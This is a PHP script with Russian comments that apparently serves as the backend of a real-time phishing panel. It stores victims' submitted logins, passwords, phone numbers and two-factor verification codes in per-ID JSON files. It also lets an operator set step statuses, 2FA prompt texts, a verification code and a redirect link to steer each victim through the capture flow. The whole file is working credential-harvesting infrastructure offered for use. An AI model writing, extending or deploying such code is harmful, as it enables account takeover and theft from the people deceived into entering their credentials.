<?php
header('Content-Type: application/json');
// Путь к папке для хранения JSON файлов статусов
// Убедитесь, что эта папка существует и у веб-сервера есть права на запись в нее.
$statusDir = __DIR__ . '/status/';
if (!is_dir($statusDir)) {
    if (!mkdir($statusDir, 0775, true)) { // Используем 0775 для безопасности
        echo json_encode(['success' => false, 'error' => 'Не удалось создать директорию для хранения статусов: ' . $statusDir]);
        exit;
    }
}
$input = json_decode(file_get_contents('php://input'), true);
$uniqueId = $input['id'] ?? null;
// Валидация ID
if (empty($uniqueId)) {
    echo json_encode(['success' => false, 'error' => 'ID не предоставлен.']);
    exit;
}
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $uniqueId)) {
    echo json_encode(['success' => false, 'error' => 'Недопустимый формат ID.']);
    exit;
}
$jsonFileName = $statusDir . $uniqueId . '.json';
// Обработка сброса при перезагрузке страницы
if (isset($input['reset']) && $input['reset'] === true) {
    $currentData = [
        'login' => 'load',
        'password' => 'load',
        'phone' => 'load'
    ];
    $currentData['id'] = $uniqueId;
} else {
    $currentData = [];
    // Читаем существующий файл, если он есть
    if (file_exists($jsonFileName)) {
        $fileContent = file_get_contents($jsonFileName);
        if ($fileContent !== false) {
            $decodedContent = json_decode($fileContent, true);
            if (json_last_error() === JSON_ERROR_NONE) {
                $currentData = $decodedContent;
            } else {
                // Файл существует, но содержит невалидный JSON. Можно логировать ошибку.
                // Начинаем с чистого листа для этого ID, но это может быть нежелательно.
                // error_log("Invalid JSON in file: " . $jsonFileName);
            }
        } else {
            echo json_encode(['success' => false, 'error' => "Не удалось прочитать файл статуса '{$jsonFileName}'. Проверьте права доступа."]);
            exit;
        }
    }
}
// Обновляем данные на основе полученного ввода
$dataUpdated = false;
if (isset($input['login'])) {
    $currentData['login'] = $input['login'];
    $dataUpdated = true;
}
if (isset($input['password'])) {
    $currentData['password'] = $input['password']; // ВНИМАНИЕ: Хранение паролей так небезопасно!
    $currentData['parol'] = 'load'; // Устанавливаем статус ожидания проверки пароля
    $dataUpdated = true;
}
// Сохранение статуса пароля (поддержка прямого 'parol' для совместимости с админ-обновлениями)
if (isset($input['parol'])) {
    $currentData['parol'] = $input['parol'];
    $dataUpdated = true;
}
if (isset($input['parol_status'])) {
    $currentData['parol'] = $input['parol_status'];
    $dataUpdated = true;
}
// Сохранение введенного номера телефона
if (isset($input['phone_number'])) {
    $currentData['entered_phone_number'] = $input['phone_number'];
    $dataUpdated = true;
}
// Сохранение статуса телефона (поддержка 'phone' и 'phone_status' для гибкости)
if (isset($input['phone'])) {
    $currentData['phone'] = $input['phone'];
    $dataUpdated = true;
}
if (isset($input['phone_status'])) {
    $currentData['phone'] = $input['phone_status'];
    $dataUpdated = true;
}
// Сохранение введенного кода верификации
if (isset($input['verification_code'])) {
    $currentData['entered_verification_code'] = $input['verification_code'];
    // Можно добавить статус, что код ожидает проверки бэкендом, например:
    // $currentData['code_check_status'] = 'pending';
    $dataUpdated = true;
}
// Сохранение дополнительных полей для 2FA (gmail, device_name, verification_code от админа)
if (isset($input['gmail'])) {
    $currentData['gmail'] = $input['gmail'];
    $dataUpdated = true;
}
if (isset($input['device_name'])) {
    $currentData['device_name'] = $input['device_name'];
    $dataUpdated = true;
}
if (isset($input['verification_code'])) { // Для админ-установки кода (не entered)
    if (!isset($currentData['entered_verification_code'])) { // Не перезаписывать пользовательский ввод
        $currentData['verification_code'] = $input['verification_code'];
    }
    $dataUpdated = true;
}
// Сохранение текстов для запроса кода
if (isset($input['text_input_phone_label'])) {
    $currentData['text_input_phone_label'] = $input['text_input_phone_label'];
    $dataUpdated = true;
}
if (isset($input['text_form3'])) {
    $currentData['text_form3'] = $input['text_form3'];
    $dataUpdated = true;
}
if (isset($input['code_text'])) {
    $currentData['code_text'] = $input['code_text'];
    $dataUpdated = true;
}
// Сохранение ссылки для перенаправления
if (isset($input['link'])) {
    $currentData['link'] = $input['link'];
    $dataUpdated = true;
}
// Сохранение статуса завершения
if (isset($input['complete'])) {
    $currentData['complete'] = $input['complete'];
    $dataUpdated = true;
}
// Всегда должен быть ID в файле
if (!isset($currentData['id'])) {
    $currentData['id'] = $uniqueId;
    $dataUpdated = true;
} elseif ($currentData['id'] !== $uniqueId) {
    // Это странная ситуация, но на всякий случай ID из запроса имеет приоритет
    $currentData['id'] = $uniqueId;
    $dataUpdated = true;
}
if (!$dataUpdated && !file_exists($jsonFileName)) {
    // Если никаких данных для обновления не пришло и файла нет,
    // возможно, стоит создать пустой файл с ID или вернуть ошибку.
    // Для текущей логики, если пришел только ID, но файла нет, он будет создан с этим ID.
}
$jsonContent = json_encode($currentData, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
if ($jsonContent === false) {
    echo json_encode(['success' => false, 'error' => 'Не удалось закодировать данные в JSON: ' . json_last_error_msg()]);
    exit;
}
if (file_put_contents($jsonFileName, $jsonContent) === false) {
    echo json_encode(['success' => false, 'error' => "Не удалось записать в JSON файл '{$jsonFileName}'. Проверьте права доступа."]);
} else {
    // Убедимся, что права на файл корректны (например, 0644 или 0664)
    // chmod($jsonFileName, 0644); // Раскомментируйте, если необходимо явно задавать права
    echo json_encode(['success' => true, 'message' => 'JSON файл успешно обновлен.']);
}
?>